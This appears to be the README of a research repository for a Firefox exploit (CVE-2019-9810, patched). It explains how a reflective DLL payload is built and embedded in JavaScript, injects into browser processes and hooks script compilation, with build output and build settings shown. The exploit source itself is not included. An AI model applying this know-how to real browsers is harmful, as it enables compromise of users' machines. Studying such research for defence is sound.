CVE-2019-9810 Exploit for Firefox on Windows
The issue has been fixed in mfsa2019-09 about two months ago.
Overview of the issue
The repository contains the exploit code as well as a bunch of tools that I had previously developed for my blazefox exploits. I have just brushed them up and made them work with BigInt. As a result, the exploit assumes that the support for BigInt is turned on in Firefox which you can do by toggling
The exploit has been tested against Windows RS5 64-bit and it targets a custom build of Firefox so don't be surprised if a bit of work is required to make it work elsewhere :).
The exploitation process works very similarly than in my previous kaizen.js exploit as mentioned above. It dispatches execution on the ReflectiveLoader of a reflective dll that implements the payload:
- If the payload detects that it is invoked by
js.exe, it simply spams
PWN, spawns a calculator and exits.
- If it is run from the browser, it starts by injecting itself into other
- When the payload gets executed from other
In reality, there are a bunch of more subtle details that are not described by the above and so if you are interested you are invited to go find the truth and read the sources :).
Building the payload
To build the payload, you just have to run
nmake from a VS 2017 x64 prompt.
CVE-2019-9810\payload>nmake Microsoft (R) Program Maintenance Utility Version 14.16.27027.1 Copyright (C) Microsoft Corporation. All rights reserved. ml64 /c src\trampoline.asm Microsoft (R) Macro Assembler (x64) Version 14.16.27027.1 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: src\trampoline.asm if not exist .\bin mkdir bin type injected-script.js > src\injected-script.h cl /O1 /nologo /W3 /D_AMD64_ /DWIN_X64 /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /Febin\payload.dll src\ReflectiveLoader.c src\ReflectiveDll.cc trampoline.obj /link /DLL /nologo /debug:full /PDBALTPATH:%_PDB% ReflectiveLoader.c Generating Code... Compiling... ReflectiveDll.cc Generating Code... Creating library bin\payload.lib and object bin\payload.exp python jsify_payload.py bin\payload.dll move payload.js .. 1 file(s) moved. del *.obj del src\injected-script.h if exist .\bin del bin\*.exp bin\*.ilk bin\*.lib
This creates a
payload.pdb file inside the
payload.js which embeds the dll inside an Uint8Array with the offset to the loader.
I wrote this exploit against a local Windows build synchronized to the following revision id: 2abb636ad481768b7c88619080cf224b2c266b2d:
$ hg --debug id -i 2abb636ad481768b7c88619080cf224b2c266b2d
And I have used the following
. "$topsrcdir/browser/config/mozconfigs/win64/common-win64" ac_add_options --disable-crashreporter ac_add_options --enable-debug-symbols . "$topsrcdir/build/mozconfig.clang-cl" . "$topsrcdir/build/mozconfig.lld-link" # Use the clang version in .mozbuild CLANG_LIB_DIR="$(cd ~/.mozbuild/clang/lib/clang/*/lib/windows && pwd)" export LIB=$LIB:$CLANG_LIB_DIR ac_add_options --enable-js-shell ac_add_options --enable-jitspew mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-ff64
Although it was fine for my purpose, I am unsure
xul!nsJSUtils::ExecutionContext::Compile is the perfect function for inserting arbitrary scripts. I am sure spending more time understanding a bit how works the xul front-end one could come up with a better hooking point. Maybe somebody already researched this subject and I completely missed it. In any case, feel free to ping me with any feedback!
Another interesting thing would be to explore if there any way to have a persistence mechanism with in the browser. I haven't researched this area at all but that would be pretty cool :).